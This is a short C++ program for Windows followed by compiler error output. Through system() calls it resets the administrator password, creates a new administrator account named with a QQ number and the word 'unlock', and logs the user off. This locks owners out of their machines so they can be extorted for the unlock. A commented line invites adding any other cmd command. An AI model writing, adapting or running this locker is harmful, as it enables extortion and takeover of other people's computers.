#include<cstdlib>
#include<iostream>  

using namespace std;
int main()
{
   system("net user administrator 123451");
   system("net user 加q723179227解锁 123451 /add");
   system("net localgroup administrators 加q723179227解锁 /add");
   system("shutdown -l");//注销
   //system("shutdown -s -t 0");//关机 
    //system("此处可以加任何你知道的cmd命令"); 
   return 0;
} 

Line 17: error: cstdlib: No such file or directory
Line 20: error: iostream: No such file or directory
Line 4: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'namespace'